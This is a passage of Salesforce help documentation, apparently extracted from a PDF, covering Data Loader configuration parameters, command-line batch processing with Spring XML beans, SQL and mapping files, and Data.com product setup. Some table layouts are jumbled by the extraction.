Sample value: LegacySKU__c In a single export or query operation, records are returned from Salesforce in increments of this size. The maximum value is 2,000 records. Larger values may improve performance but use more memory on the client. Sample value: 500 The SOQL query for the data export. For more information on SOQL, see the Force.com SOQL and SOSL Reference. Sample value: SELECT Id, LastName,
FirstName, Rating, AnnualRevenue, OwnerId FROM Lead

sfdc.extractionRequestSize

integer

Query request size

sfdc.extractionSOQL

string

N/A

sfdc.insertNulls

boolean

Insert null values

Select this option to insert blank mapped values as null values during data operations. Note that when you are updating records, this option instructs Data Loader to overwrite any existing data in mapped fields.

871

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

Sample value: false In a single insert, update, upsert, or delete operation, records moving to or from Salesforce are processed in increments of this size. The maximum value is 200. We recommend a value between 50 and 100.
sfdc.loadBatchSize

integer

Batch size

Sample value: 100 The maximum number of repeated attempts to connect to Salesforce. See sfdc.enableRetries on page 871.

sfdc.maxRetries

integer

N/A

Sample value: 3 The minimum number of seconds to wait between connection retries. The wait time increases with each try. See sfdc.enableRetries on page 871.

sfdc.minRetrySleepSecs

integer

N/A

Sample value: 2 Compression enhances the performance of Data Loader and is turned on by default. You may want to disable compression if you need to debug the underlying SOAP messages. To turn off compression, enable this option.

sfdc.noCompression

boolean

Compression Sample value: false

sfdc.password

encrypted string N/A

An encrypted Salesforce password that corresponds to the username provided in sfdc.username. See also Encrypting From the Command Line on page 864. Sample value: 4285b36161c65a22 The host name of the proxy server, if applicable.

sfdc.proxyHost

URL

Proxy host

Sample value:
http://myproxy.internal.company.com

sfdc.proxyPassword

encrypted Proxy string password

An encrypted password that corresponds to the proxy username provided in sfdc.proxyUsername. See also Encrypting From the Command Line on page 864. Sample value: 4285b36161c65a22

872

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog


Proxy port Proxy username

Description

The proxy server port.


sfdc.proxyPort

integer

Sample value: 8000 The username for proxy server authentication.

sfdc.proxyUsername

string

Sample value: jane.doe By default, Salesforce resets the URL after login to the one specified in sfdc.endpoint. To turn off this automatic reset, disable this option by setting it to false.

sfdc.resetUrlOnLogin

boolean

Reset URL on Login Valid values: true (default), false

Specify how many seconds Data Loader waits to receive a response back from the server before returning an error for the request.
sfdc.timeoutSecs

integer

Timeout

Sample value: 540 If a date value does not include a time zone, this value is used. If no value is specified, the time zone of the computer where Data Loader is installed is used. If an incorrect value is entered, GMT is used as the time zone and this fact is noted in the Data Loader log.

Valid values are any time zone identifier which can be passed to the Java getTimeZone(java.lang.String) method. The value can be a full name such as America/Los_Angeles, or a custom ID such as GMT-8:00. You can retrieve the default value by running the TimeZone.getDefault() method in Java. This value is the time zone on the computer Time Zone where Data Loader is installed. Select this option to truncate data in the following
Allow types of fields when loading that data into field Salesforce: Email, Multi-select Picklist, Phone, truncation Picklist, Text, and Text (Encrypted).

sfdc.timezone

string

sfdc.truncateFields

boolean

873

Data Management

Data Loader Command Line Operations

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

In Data Loader versions 14.0 and earlier, values for fields of those types are truncated by Data Loader if they are too large. In Data Loader version 15.0 and later, the load operation fails if a value is specified that is too large. Selecting this option allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Data Loader versions 15.0 and later. This option is selected by default and has no effect in versions 14.0 and earlier. This option is not available if the Use Bulk API option is selected. In that case, the load operation fails for the row if a value is specified that is too large for the field. Sample value: true Select this option to use the Bulk API to insert, update, upsert, delete, and hard delete records. The Bulk API is optimized to load or delete a large number of records asynchronously. Its faster than the default SOAP-based API due to parallel processing and fewer network round-trips. See also sfdc.bulkApiSerialMode.
sfdc.useBulkApi

boolean

Use Bulk API

Sample value: true Salesforce username. See sfdc.password.

sfdc.username

string

N/A

Sample value: jdoe@mycompany.com

Data Loader Command Line Operations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, several operations are supported. An operation represents the flow of data between Salesforce and an external data source such as a CSV file or a database. See the following list of operation names and descriptions.

874

Data Management

Configuring Database Access

Extract Uses a Salesforce Object Query Language to export a set of records from Salesforce, then writes the exported data to a data source. Soft-deleted records are not included. Extract All Uses a Salesforce Object Query Language to export a set of records from Salesforce, including both existing and soft-deleted records, then writes the exported data to a data source. Insert Loads data from a data source into Salesforce as new records. Update Loads data from a data source into Salesforce, where existing records with matching ID fields are updated. Upsert Loads data from a data source into Salesforce, where existing records with a matching custom external ID field are updated; records without matches are inserted as new records. Delete Loads data from a data source into Salesforce, where existing records with matching ID fields are deleted. Hard Delete Loads data from a data source into Salesforce, where existing records with matching ID fields are deleted without being stored first in the Recycle Bin.

Configuring Database Access


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When you run Data Loader in batch mode from the command line, use \samples\conf\database-conf.xml to configure database access objects, which you use to extract data directly from a database. DatabaseConfig Bean The top-level database configuration object is the DatabaseConfig bean, which has the following properties: sqlConfig The SQL configuration bean for the data access object that interacts with a database. dataSource The bean that acts as database driver and authenticator. It must refer to an implementation of javax.sql.DataSource such as org.apache.commons.dbcp.BasicDataSource. The following code is an example of a DatabaseConfig bean:
<bean id="AccountInsert" class="com.salesforce.dataloader.dao.database.DatabaseConfig" singleton="true"> <property name="sqlConfig" ref="accountInsertSql"/> </bean>

875

Data Management

Configuring Database Access

DataSource The DataSource bean sets the physical information needed for database connections. It contains the following properties: driverClassName The fully qualified name of the implementation of a JDBC driver. url The string for physically connecting to the database. username The username for logging in to the database. password The password for logging in to the database. Depending on your implementation, additional information may be required. For example, use org.apache.commons.dbcp.BasicDataSource when database connections are pooled. The following code is an example of a DataSource bean:
<bean id="oracleRepDataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close"> <property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/> <property name="url" value="jdbc:oracle:thin:@myserver.salesforce.com:1521:TEST"/> <property name="username" value="test"/> <property name="password" value="test"/> </bean>

Spring Framework Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The Data Loader configuration files are based on the Spring Framework, which is an open source full-stack Java/J2EE application framework. The Spring Framework allows you to use XML files to configure beans. Each bean represents an instance of an object; the parameters correspond to each object's setter methods. A typical bean has the following attributes: id Uniquely identifies the bean to XmlBeanFactory, which is the class that gets objects from an XML configuration file. class Specifies the implementation class for the bean instance. For more information on the Spring Framework, see the official documentation and the support forums. Note that salesforce.com cannot guarantee the availability or accuracy of external websites.

876

Data Management

Configuring Database Access

Data Access Objects


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, several data access objects are supported. A data access object allows access to an external data source outside of Salesforce. They can implement a read interface (DataReader), a write interface (DataWriter), or both. See the following list of object names and descriptions. csvRead Allows the reading of a comma or tab-delimited file. There should be a header row at the top of the file that describes each column. csvWrite Allows writing to a comma-delimited file. A header row is added to the top of the file based on the column list provided by the caller. databaseRead Allows the reading of a database. Use database-conf.xml to configure database access. For more information, see Configuring Database Access on page 875. databaseWrite Allows writing to a database. Use database-conf.xml to configure database access. For more information, see Configuring Database Access on page 875.

SQL Configuration
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, the SqlConfig class contains configuration parameters for accessing specific data in the database. As shown in the code samples below, queries and inserts are different but very similar. The bean must be of type com.salesforce.dataloader.dao.database.SqlConfig and have the following properties:
sqlString

The SQL code to be used by the data access object. The SQL can contain replacement parameters that make the string dependent on configuration or operation variables. Replacement parameters must be delimited on both sides by @ characters. For example, @process.lastRunDate@.
sqlParams

A property of type map that contains descriptions of the replacement parameters specified in sqlString. Each entry represents one replacement parameter: the key is the replacement parameter's name, the value is the fully qualified Java type to be used when the parameter is set on the SQL statement. Note that java.sql types are sometimes required, such as java.sql.Date instead of java.util.Date. For more information, see the official JDBC API documentation.

877

Data Management

Configuring Database Access

columnNames

Used when queries (SELECT statements) return a JDBC ResultSet. Contains column names for the data outputted by executing the SQL. The column names are used to access and return the output to the caller of the DataReader interface. SQL Query Bean Example
<bean id="accountMasterSql" class="com.salesforce.dataloader.dao.database.SqlConfig" singleton="true"> <property name="sqlString"/> <value> SELECT distinct '012x00000000Ij7' recordTypeId, accounts.account_number, org.organization_name, concat (concat(parties.address1, ' '), parties.address2) billing_address, locs.city, locs.postal_code, locs.state, locs.country, parties.sic_code from ar.hz_cust_accounts accounts, ar.hz_organization_profiles org, ar.hz_parties parties, ar.hz_party_sites party_sites, ar.hz_locations locs where accounts.PARTY_ID = org.PARTY_ID and parties.PARTY_ID = accounts.PARTY_ID and party_sites.PARTY_ID = accounts.PARTY_ID and locs.LOCATION_ID = party_sites.LOCATION_ID and (locs.last_update_date > @process.lastRunDate@ OR accounts.last_update_date > @process.lastRunDate@ </value> </property> <property name="columNames"> <list> <value>recordTypeId</value> <value>account_number</value> <value>organization_name</value> <value>billing_address</value> <value>city</value> <value>postal_code</value> <value>state</value> <value>country</value> <value>sic_code</value> </list> </property> <property name="sqlParams"> <map> <entry key="process.lastRunDate" value="java.sql.Date"/> </map> </property> </bean>

SQL Insert Bean Example


<bean id="partiesInsertSql" class="com.salesforce.dataloader.dao.database.SqlConfig" singleton="true">

878

Data Management

Mapping Columns

<property name="sqlString"/> <value> INSERT INTO REP.INT_PARTIES ( BILLING_ADDRESS, SIC_CODE) VALUES (@billing_address@, @sic_code@) </value> </property> <property name="sqlParams"/> <map> <entry key="billing_address" value="java.lang.String"/> <entry key="sic_code" value="java.lang.String"/> </map> </property> </bean>

Mapping Columns
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, you must create a properties file that maps values between Salesforce and data access objects. 1. Create a new mapping file and give it an extension of .sdl. 2. Observe the following syntax: On each line, pair a data source with its destination. In an import file, put the data source on the left, an equals sign (=) as a separator, and the destination on the right. In an export file, put the destination on the left, an equals sign (=) as a separator, and the data source on the right. Data sources can be either column names or constants. Surround constants with double quotation marks, as in sampleconstant. Values without quotation marks are treated as column names. Destinations must be column names. You may map constants by surrounding them with double quotation marks, as in:
"Canada"=BillingCountry

3. In your configuration file, use the parameter process.mappingFile to specify the name of your mapping file. Note: If your field name contains a space, you must escape the space by prepending it with a backslash (\). For example:
Account\ Name=Name

Column Mapping Example for Data Insert The Salesforce fields are on the right.
SLA__C=SLA__c BILLINGCITY=BillingCity SYSTEMMODSTAMP= OWNERID=OwnerId

879

Data Management

Running Individual Batch Processes

CUSTOMERPRIORITY__C=CustomerPriority__c ANNUALREVENUE=AnnualRevenue DESCRIPTION=Description BILLINGSTREET=BillingStreet SHIPPINGSTATE=ShippingState

Column Mapping Example for Data Export The Salesforce fields are on the left.
Id=account_number Name=name Phone=phone

Column Mapping for Constant Values Data Loader supports the ability to assign constants to fields when you insert, update, and export data. If you have a field that should contain the same value for each record, you specify that constant in the .sdl mapping file instead of specifying the field and value in the CSV file or the export query. The constant must be enclosed in double quotation marks. For example, if youre importing data, the syntax is "constantvalue"=field1. If you have multiple fields that should contain the same value, you must specify the constant and the field names separated by commas. For example, if youre importing data, the syntax would be "constantvalue"=field1, field2. Heres an example of an .sdl file for inserting data. The Salesforce fields are on the right. The first two lines map a data source to a destination field, and the last three lines map a constant to a destination field.
Name=Name NumEmployees=NumberOfEmployees "Aerospace"=Industry "California"=BillingState, ShippingState "New"=Customer_Type__c

A constant must contain at least one alphanumeric character. Note: If you specify a constant value that contains spaces, you must escape the spaces by prepending each with a backslash (\). For example:
"Food\ &\ Beverage"=Industry

Running Individual Batch Processes


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To start an individual batch process use \bin\process.bat, which requires the following parameters: A configuration directory The default is \conf. To use an alternate directory, create a new directory and add the following files to it:

880

Command Line Quick Start

Introduction

If your process is not interactive, copy process-conf.xml from \samples\conf. If your process requires database connectivity, copy database-conf.xml from \samples\conf. Copy config.properties from \conf.

A process name The name of the ProcessRunner bean from \samples\conf\process-conf.xml. Process Example
process ../conf accountMasterProcess

Note: You can configure external process launchers such as the Microsoft Windows XP Scheduled Task Wizard to run processes on a schedule.

COMMAND LINE QUICK START


Introduction
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Watch a Demo (5:21 minutes) In addition to using Data Loader interactively to import and export data, you can also run it from the command line. This enables you to automate the import and export of data. This quick start shows you how to use the Data Loader command line functionality to import data. You'll follow these steps: Step 1: Create the encryption key Step 2: Create the encrypted password for your login username Step 3: Create the Field Mapping File Step 4: Create a process-conf.xml file that contains the import configuration settings Step 5: Run the process and import the data

See Also:
Prerequisites Prerequisites

881

Data Management

Prerequisites

Prerequisites
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To step through this quick start, you should have the following: Data Loader installed on the computer that runs the command line process. The Java Runtime Environment (JRE) installed on the computer that runs the command line process. Familiarity with importing and exporting data by using the Data Loader interactively through the user interface. This makes it easier to understand how the command line functionality works. Tip: When you install Data Loader, sample files are installed in the samples directory. This directory is found below the program directory, for example, C:\Program Files (x86)\salesforce.com\Apex Data Loader 22.0\samples\. Examples of files that are used in this quick start can be found in the \samples\conf directory.

See Also:
Introduction Step One: Create the Encryption Key Introduction Step One: Create the Encryption Key

Step One: Create the Encryption Key


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When you use Data Loader from the command line, theres no user interface. Therefore, youll need to provide the information that you would normally enter in the user interface by using a text file named process-conf.xml. For example, youll need to add to this file the username and password that Data Loader uses to log in to Salesforce. The password must be encrypted before you add it to the process-conf.xml file, and creating the key is the first step in that process. 1. Open a command prompt window by clicking Start > All Programs > Accessories > Command Prompt. Alternatively, you can click Start > Run, enter cmd in the Open field, and click OK. 2. In the command window enter cd\ to navigate to the root directory of the drive where Data Loader is installed. 3. Navigate to the Data Loader \bin directory by entering this command. Be sure to replace the file path with the path from your system.
cd C:\Program Files (x86)\salesforce.com\Apex Data Loader 22.0\bin

4. Create an encryption key by entering the following command. Replace <seedtext> with any string.
encrypt.bat g <seedtext>

882

Data Management

Step Two: Create the Encrypted Password

Note: To see a list of command-line options for encrypt.bat, type encrypt.bat from the command line.

5. Copy the generated key from the command window to a text file named key.txt and make a note of the file path. In this example, the generated key is e8a68b73992a7a54. Note: Enabling quick edit mode on a command window can make it easier to copy data to and from the window. To enable quick edit mode, right-click the top of the window and select Properties. On the Options tab, select QuickEdit Mode. The encryption utility is used to encrypt passwords, but data that you transmit using Data Loader is not encrypted.

See Also:
Prerequisites Step Two: Create the Encrypted Password Introduction Step Two: Create the Encrypted Password

Step Two: Create the Encrypted Password


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

In this step, youll create the encrypted password using the key that you generated in the previous step. 1. In the same command prompt window, enter the following command. Replace <password>with the password that Data Loader uses to log in to Salesforce. Replace <filepath> with the file path to the key.txt file that you created in the previous step.
encrypt.bat e <password> "<filepath>\key.txt"

883

Data Management

Step Three: Create the Field Mapping File

2. Copy the encrypted password that is generated by the command. You'll use this value in a later step.

See Also:
Step One: Create the Encryption Key Step Three: Create the Field Mapping File Introduction Step Three: Create the Field Mapping File

Step Three: Create the Field Mapping File


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The field mapping file associates data sources with destinations. This is a text file, typically with an .sdl file extension. 1. Copy the following to a text file and save it with a name of accountInsertMap.sdl. This is a data insert so the data source is on the left of the equals sign and the destination field is on the right.
#Mapping values #Thu May 26 16:19:33 GMT 2011 Name=Name NumberOfEmployees=NumberOfEmployees Industry=Industry

Tip: For complex mappings, you can use the Data Loader user interface to map source and destination fields and then save those mappings to an .sdl file. This is done on the Mapping dialog box by clicking Save Mapping.

See Also:
Step Two: Create the Encrypted Password Step Four: Create the Configuration File Introduction Step Four: Create the Configuration File

Step Four: Create the Configuration File


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The process-conf.xml file contains the information that Data Loader needs to process the data. Each <bean> in the process-conf.xml file refers to a single process such as an insert, upsert, export, and so on. Therefore, this file can contain multiple processes. In this step, you'll edit the file to insert accounts into Salesforce.

884

Data Management

Step Four: Create the Configuration File

1. Make a copy of the process-conf.xml file from the \samples\conf directory. Be sure to maintain a copy of the original because it contains examples of other types of Data Loader processing such as upserts and exports. 2. Open the file in a text editor and replace the contents with the following XML:
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd"> <beans> <bean id="accountInsert" class="com.salesforce.dataloader.process.ProcessRunner" singleton="false"> <description>accountInsert job gets the account record from the CSV file and inserts it into Salesforce.</description> <property name="name" value="accountInsert"/> <property name="configOverrideMap"> <map> <entry key="sfdc.debugMessages" value="true"/> <entry key="sfdc.debugMessagesFile" value="C:\DLTest\Log\accountInsertSoapTrace.log"/> <entry key="sfdc.endpoint" value="https://servername.salesforce.com"/> <entry key="sfdc.username" value="admin@Org.org"/> <!--Password below has been encrypted using key file, therefore, it will not work without the key setting: process.encryptionKeyFile. The password is not a valid encrypted value, please generate the real value using the encrypt.bat utility --> <entry key="sfdc.password" value="e8a68b73992a7a54"/> <entry key="process.encryptionKeyFile" value="C:\DLTest\Command Line\Config\key.txt"/> <entry key="sfdc.timeoutSecs" value="600"/> <entry key="sfdc.loadBatchSize" value="200"/> <entry key="sfdc.entity" value="Account"/> <entry key="process.operation" value="insert"/> <entry key="process.mappingFile" value="C:\DLTest\Command Line\Config\accountInsertMap.sdl"/> <entry key="dataAccess.name" value="C:\DLTest\In\insertAccounts.csv"/> <entry key="process.outputSuccess" value="c:\DLTest\Log\accountInsert_success.csv"/> <entry key="process.outputError" value="c:\DLTest\Log\accountInsert_error.csv"/> <entry key="dataAccess.type" value="csvRead"/> <entry key="process.initialLastRunDate" value="2005-12-01T00:00:00.000-0800"/> </map> </property> </bean>

3. Modify the following parameters in the process-conf.xml file. For more information about the process configuration parameters, see Data Loader Process Configuration Parameters on page 866.
sfdc.endpointEnter the URL of the Salesforce instance for your organization; for example, https://na1.salesforce.com. sfdc.usernameEnter the username Data Loader uses to log in. sfdc.passwordEnter the encrypted password value that you created in step 2. process.mappingFileEnter the path and file name of the mapping file. dataAccess.NameEnter the path and file name of the data file that contains the accounts that you want to import. sfdc.debugMessagesCurrently set to true for troubleshooting. Set this to false after your import is up and

running.
sfdc.debugMessagesFileEnter the path and file name of the command line log file.

885

Data Management

Step Five: Import the Data

process.outputSuccessEnter the path and file name of the success log file. process.outputErrorEnter the path and file name of the error log file.

Warning: Use caution when using different XML editors to edit the process-conf.xml file. Some editors add XML tags to the beginning and end of the file which will cause the import to fail.

See Also:
Step Three: Create the Field Mapping File Step Five: Import the Data Introduction Step Five: Import the Data

Step Five: Import the Data


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To insert records: To update records: To upsert records: To delete records: To hard delete records: Create on the record Edit on the record Create or Edit on the record Delete on the record Delete on the record

Now that all the pieces are in place, you can run Data Loader from the command line and insert some new accounts. 1. Copy the following data to a file name accountInsert.csv. This is the account data that you'll import into your organization.
Name,Industry,NumberOfEmployees Dickenson plc,Consulting,120 GenePoint,Biotechnology,265 Express Logistics and Transport,Transportation,12300 Grand Hotels & Resorts Ltd,Hospitality,5600

2. In the command prompt window, enter the following command:


process.bat "<file path to process-conf.xml>" <process name>

Replace <file path to process-conf.xml> with the path to the directory containing process-conf.xml. Replace <process name> with the process specified in process-conf.xml.

Your command should look something like this:

886

Data Management

Data Loader Third-Party Licenses

process.bat "C:\DLTest\Command Line\Config" accountInsert

After the process runs, the command prompt window displays success and error messages. You can also check the log files: insertAccounts_success.csv and insertAccounts_error.csv. After the process runs successfully, the insertAccounts_success.csv file will contain the records that you imported along with the ID and status of each record. For more information about the status files, see Reviewing Output Files on page 861.

See Also:
Step Four: Create the Configuration File Introduction

Data Loader Third-Party Licenses


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The following third-party licenses are included with the installation of Data Loader: Technology Apache Jakarta Commons BeanUtils Apache Commons Collections Apache Commons Database Connection Pooling (DBCP) Apache Commons Logging Version Number 1.6 3.1 1.2.1 1.0.3 License http://www.apache.org/licenses/LICENSE-2.0 http://www.apache.org/licenses/LICENSE-2.0 http://www.apache.org/licenses/LICENSE-2.0 http://www.apache.org/licenses/LICENSE-1.1 http://www.apache.org/licenses/LICENSE-2.0 http://www.apache.org/licenses/LICENSE-2.0 http://www.eclipse.org/legal/epl-v10.html http://www.opensymphony.com/quartz/license.action http://www.mozilla.org/MPL/MPL-1.1.txt http://www.apache.org/licenses/LICENSE-2.0.txt

Apache Commons Object Pooling 1.2 Library Apache Log4j Eclipse SWT 1.2.8 3.452

OpenSymphony Quartz Enterprise 1.5.1 Job Scheduler Rhino JavaScript for Java Spring Framework 1.6R2 1.2.6

Note: Salesforce.com is not responsible for the availability or content of third-party websites.

887

Data.com Administration

Data.com Product Suite Overview

DATA.COM ADMINISTRATION
Data.com Product Suite Overview
Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

Watch a Demo (3:19 minutes) Data.com is salesforce.coms solution for delivering leading business data inside your CRM. Your team can spend less time entering and updating data and more time growing your business. Data.com combines crowd-sourced contacts with account information from D&B, managed in the cloud, so you can keep your CRM clean and up to date in real time. Within Salesforce, you can search for Data.com accounts and contacts right on the Data.com tab, and if you have a Data.com license, you can add records to Salesforce. You can add your contact search results as either contacts or leads. It's remarkably easy to find the accounts and contacts you need, and using Data.com is a great way to plan your sales territories, segment campaigns, find new accounts to engage, and get new contacts to quickly expand your sales network. The Data.com product suite includes Data.com Corporate and Data.com Premium, as well as related products Data.com Clean and Data.com Reports. This topic describes them all, and explains how they work together.

Data.com Corporate
With Data.com Corporate, all Salesforce users can search Data.com for accounts and contacts. Users with Data.com licenses can: Add accounts and contacts to Salesforce, and add contacts as leads. Add contacts for an account directly from the account record. Access the basic set of D&B fields provided for accounts and leads. Manually clean Salesforce account, contact, and lead records, whether they were added from Data.com or not.

Starting December 16, 2011, all organizations purchasing Data.com received the Data.com Corporate product. Organizations using previous versions have a limited set of fields. Data.com Premium licenses can not be purchased for Salesforce organizations that already have Data.com Corporate licenses. If you want to purchase Data.com Premium licenses, youll need to convert your Data.com Corporate licenses.

Data.com Premium
Data.com Premium is an upgrade to Data.com Corporate. With Premium, you get all the features and fields available in Corporate, plus over 70 additional D&B fields for accounts and leads you add to Salesforce from Data.com. These fields are grouped in a D&B Company record thats linked to the account or lead, and accessible on the D&B Companies tab. Data.com Corporate licenses can not be purchased for Salesforce organizations that already have Data.com Premium licenses. If you want to purchase Data.com Corporate licenses, youll need to convert your Data.com Premium licenses.

888

Data.com Administration

Data.com Product Suite Overview

Data.com Clean
Data.com Clean is an important part of Salesforces Data.com product suite, offering both manual and automated cleaning for your account, contact, and lead records. To get automated cleaning, you must purchase Data.com Clean for every Salesforce user. Data.com Clean provides full clean capability for your organization: all Data.com Clean users can manually clean Salesforce accounts, contacts, and leads, and you can configure jobs to flag field value differences on Salesforce records or automatically fill blank fields. If you use Data.com Premium, you can also use automated jobs to clean D&B records that are linked to accounts and leads.

Data.com Reports
Want to analyze the impact of Data.com data on your business? Use the Data.com Reports AppExchange package. It offers several preconfigured Data.com reports and a corresponding impact dashboard. Use these tools to find out how many records are sourced from Data.com, who has added them and when, and how they contribute to your sales forecast and revenue.

Important Considerations for Organizations Using Jigsaw for Salesforce


Jigsaw for Salesforce is an older version of the product that is no longer for sale. It provides similar search, add, and clean functionality, but it works differently from the Data.com product suite built in to Salesforce. The Salesforce online help and release notes describe the built-in Data.com Corporate, Data.com Premium, and Data.com Clean products only, not Jigsaw for Salesforce. If your organization is still using Jigsaw for Salesforce, you should consider migrating to the built-in Data.com product suite for your prospecting and cleaning needs. For information, please contact your Salesforce account manager. Important: You should not attempt to migrate to the built-in Data.com Clean product without having first purchased it through your Salesforce account manager. If you attempt to enable Data.com Clean without purchasing it, youll see an error message: Your organization does not currently have the permission to run Clean jobs.

See Also:
Data.com Clean Overview Finding and Adding Accounts from Data.com Finding and Adding Contacts from Data.com Adding Data.com Contacts as Leads What product should my organization use to clean our account, contact, and lead records? How do I know which Data.com product my organization has?

889

Data.com Administration

Implementing Data.com

Implementing Data.com
Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com: To enable Data.com users: To install AppExchange packages: Customize Application Manage Users Download AppExchange Packages

Implementing Data.com is easy. Here's what you need to know. The free version of Data.com provides Data.com data to all users. Users can find the Data.com tab on the All Tabs page, or you can add it for them. With the free version, users can search across the complete Data.com database of accounts and contacts. Free version users can't see phone and email information for contacts, they cant see account cards or D&B data on account records, and they can't add records to Salesforce. To take full advantage of Data.coms data, your organization needs to purchase Data.com licenses and set up the feature. We offer two licenses for searching and adding data from Data.com: Data.com Corporate and Data.com Premium. Both are easy to set up, but Premium includes a few additional steps. Some of the steps are the same for both products, so lets start with those. To implement Data.com, you need to: 1. 2. 3. 4. 5. 6. Understand Data.com licenses, limits, and products. Enable users for Data.com, assign type for each user, and assign record addition limits. (Optional) Purchase additional Data.com licenses or record additions. Add the Data.com tab to user profiles. Install the Data.com Reports AppExchange package. Depending on your Data.com license, youll complete a few more steps. Check out these topics for complete details. Tip: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll see either Corporate or Premium. Configuring Data.com Corporate on page 891 Configuring Data.com Premium on page 892

If youre using Data.com Clean along with Data.com, see Implementing Data.com Clean on page 925.

890

Data.com Administration

Configuring Data.com Corporate

Implementation Tips and Best Practices


Note: If a search produces a large number of results, users wont see all data past page 10. Contact Salesforce customer support to enable unlimited view. If a user adds more than 200 leads to Salesforce at one time, any lead assignment rules your organization uses won't run. To make sure your lead assignment rules run, instruct your users to limit their additions to fewer than 200 leads at any time. If your organization uses validation rules on fields that are mapped to Data.com, either deactivate the rules or make sure they match Data.com field names to avoid errors when you add records.

See Also:
Data.com Product Suite Overview Defining Validation Rules

Configuring Data.com Corporate


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com Corporate: Customize Application

Data.com Corporate provides additional Dun & Bradstreet account and lead data beyond the basics, including D-U-N-S Number, NAICS Code, Tradestyle, and more. Heres how to implement this product. Note: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll see either Corporate or Premium. 1. 2. 3. 4. Make sure youve implemented Data.com. Enable Data.com Clean so your users can manually clean account, contact, and lead records. Configure your account, contact, and lead page layouts with the buttons and fields you need. Update your field-level security so users see fields provided by D&B.

Implementation Tips
If your organization uses Data.com Corporate or Data.com Premium, and you create validation rules for the fields that those products provide, those rules will still attempt to run even if you stop using the product, so disable any validation rules using

891

Data.com Administration

Configuring Data.com Premium

those fields in that case. Data.com Corporate and Premium fields are identified in the help topics Account Fields and Lead Fields.

See Also:
Data.com Product Suite Overview

Configuring Data.com Premium


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com Premium: Customize Application

Data.com Premium is an upgrade to Data.com Corporate. With Premium, you get all the features and fields available in Corporate, plus over 70 additional D&B fields for accounts and leads you add to Salesforce from Data.com. These fields are grouped in a D&B Company record thats linked to the account or lead, and accessible on the D&B Companies tab. Data.com Premium includes the D&B Companies tab, which lists D&B Company records for all accounts and leads youve added from Data.com. Each record displays the additional fields that Premium provides. Like Data.com Corporate users, Premium users can also view a limited number of D&B fields on account and lead records. Heres how to implement this product. Note: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll see either Corporate or Premium. 1. 2. 3. 4. 5. 6. Make sure youve implemented Data.com. Confirm that Data.com Clean is enabled, so your users can manually clean account, contact, and lead records. Configure your account, contact, and lead page layouts with the buttons and fields you need. Update your field-level security so users see fields provided by D&B. Add the D&B Companies tab to user profiles. (Optional) Weve created a default layout for D&B Company records, but you may want to use the Enhanced Page Layout Editor to customize the page layout.

Implementation Tips
You can enable users to view and delete D&B Company records by assigning the appropriate profile permissions. Standard profiles automatically have the Read D&B Company records permission, but need to be assigned the Delete D&B Company records permission. Custom profiles need to be assigned both permissions.

892

Data.com Administration

Setting Up Data.com Users

If your organization uses Data.com Corporate or Data.com Premium, and you create validation rules for the fields that those products provide, those rules will still attempt to run even if you stop using the product, so disable any validation rules using those fields in that case. Data.com Corporate and Premium fields are identified in the help topics Account Fields and Lead Fields.

See Also:
Implementing D&B Companies

Setting Up Data.com Users


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com: To enable Data.com users: To install AppExchange packages: Customize Application Manage Users Download AppExchange Packages

The All Data.com Users page shows all users, grouped by user type: Data.com User and Data.com List User. Data.com Users get a limited number of records to add or export per month, and their unused additions expire at the end of each month. For each Data.com User, you can see the monthly limit and number of records added to Salesforce or exported during the month. For organizations that purchase the product, Data.com List users share account, contact, and lead record additions from a pool. You can see the organization's limit, and the number of records each Data.com List User has added to Salesforce or exported.

